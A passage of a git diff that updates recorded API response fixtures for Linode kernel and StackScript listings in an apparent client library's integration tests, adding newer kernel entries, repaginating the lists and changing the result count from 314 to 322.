"label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16",
- "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true,
- "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15",
- "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version":
- "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14",
- "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12",
- "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true,
- "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11",
- "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10",
- "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false,
- "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9",
- "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture":
"x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}],
- "page": 3, "pages": 4, "results": 314}'
+ "page": 3, "pages": 4, "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -915,7 +914,27 @@ interactions:
url: https://api.linode.com/v4beta/linode/kernels?page=4
method: GET
response:
- body: '{"data": [{"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8",
+ body: '{"data": [{"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16",
+ "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true,
+ "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15",
+ "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version":
+ "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14",
+ "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12",
+ "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true,
+ "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11",
+ "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10",
+ "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false,
+ "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9",
+ "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8",
"version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true,
"deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7",
"label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture":
@@ -949,7 +968,7 @@ interactions:
"2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64",
"version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false,
"deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4,
- "results": 314}'
+ "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml b/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml
index fbfb2bcb4..d2c5ee7a5 100644
--- a/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml
+++ b/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml
@@ -19,11 +19,31 @@ interactions:
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label":
"Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false,
"architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/latest-32bit", "label": "Latest 32 bit (5.19.2-x86-linode176)",
- "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
+ {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)",
+ "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label":
"Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture":
"i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version":
+ "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180",
+ "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159",
+ "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179",
+ "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158",
+ "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178",
+ "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version":
+ "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177",
+ "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
{"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156",
"version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176",
@@ -242,27 +262,7 @@ interactions:
"i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
{"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version":
"4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104",
- "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version":
- "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100",
- "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version":
- "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
- "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label":
- "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386",
- "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97",
- "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version":
- "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
- "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label":
- "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386",
- "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page":
- 1, "pages": 4, "results": 314}'
+ true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -317,9 +317,28 @@ interactions:
url: https://api.linode.com/v4beta/linode/kernels?page=2
method: GET
response:
- body: '{"data": [{"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94",
- "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label":
+ body: '{"data": [{"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104",
+ "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102",
+ "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version":
+ "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label":
+ "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386",
+ "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98",
+ "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version":
+ "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
+ "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label":
+ "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386",
+ "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95",
+ "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version":
+ "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
+ "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label":
"4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386",
"pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90",
"label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture":
@@ -510,8 +529,8 @@ interactions:
true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6
(2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture":
"x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/latest-64bit", "label": "Latest 64 bit (5.19.2-x86_64-linode156)",
- "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)",
+ "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10",
"label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm":
false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built":
@@ -534,28 +553,8 @@ interactions:
"5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128",
"label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127",
- "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126",
- "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125",
- "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true,
- "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124",
- "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version":
- "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122",
- "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121",
- "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120",
- "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture":
"x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}],
- "page": 2, "pages": 4, "results": 314}'
+ "page": 2, "pages": 4, "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -610,7 +609,27 @@ interactions:
url: https://api.linode.com/v4beta/linode/kernels?page=3
method: GET
response:
- body: '{"data": [{"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119",
+ body: '{"data": [{"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127",
+ "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126",
+ "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125",
+ "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true,
+ "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124",
+ "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version":
+ "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122",
+ "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121",
+ "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120",
+ "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119",
"version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118",
"label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture":
@@ -839,28 +858,8 @@ interactions:
"2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated":
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17",
"label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16",
- "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true,
- "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15",
- "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version":
- "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14",
- "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12",
- "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true,
- "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11",
- "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10",
- "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false,
- "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9",
- "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture":
"x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}],
- "page": 3, "pages": 4, "results": 314}'
+ "page": 3, "pages": 4, "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -915,7 +914,27 @@ interactions:
url: https://api.linode.com/v4beta/linode/kernels?page=4
method: GET
response:
- body: '{"data": [{"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8",
+ body: '{"data": [{"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16",
+ "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true,
+ "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15",
+ "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version":
+ "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14",
+ "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12",
+ "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true,
+ "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11",
+ "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10",
+ "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false,
+ "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9",
+ "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8",
"version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true,
"deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7",
"label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture":
@@ -949,7 +968,7 @@ interactions:
"2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64",
"version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false,
"deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4,
- "results": 314}'
+ "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/test/integration/fixtures/ExampleListKernels_page1.yaml b/test/integration/fixtures/ExampleListKernels_page1.yaml
index 6266b7f78..046d7a3ea 100644
--- a/test/integration/fixtures/ExampleListKernels_page1.yaml
+++ b/test/integration/fixtures/ExampleListKernels_page1.yaml
@@ -19,11 +19,31 @@ interactions:
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label":
"Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false,
"architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/latest-32bit", "label": "Latest 32 bit (5.19.2-x86-linode176)",
- "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
+ {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)",
+ "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label":
"Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture":
"i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version":
+ "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180",
+ "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159",
+ "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179",
+ "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158",
+ "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178",
+ "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version":
+ "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177",
+ "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
{"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156",
"version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176",
@@ -242,27 +262,7 @@ interactions:
"i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
{"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version":
"4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104",
- "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version":
- "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100",
- "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version":
- "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
- "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label":
- "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386",
- "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97",
- "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version":
- "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
- "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label":
- "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386",
- "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page":
- 1, "pages": 4, "results": 314}'
+ true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/test/integration/fixtures/ExampleListStackscripts_page1.yaml b/test/integration/fixtures/ExampleListStackscripts_page1.yaml
index a29dd6f3b..1bcaed3c6 100644
--- a/test/integration/fixtures/ExampleListStackscripts_page1.yaml
+++ b/test/integration/fixtures/ExampleListStackscripts_page1.yaml
@@ -62,8 +62,8 @@ interactions:
Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the
installation process, access http://your-ip:2004 to configure OpenBiz Cubi and
Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal":
- 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts",
- "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"],
+ 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
+ "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"OpenBiz Cubi powered by Webuzo", "script": "#!/bin/bash\n# \n\n# \n\n# ", "user_defined_fields":
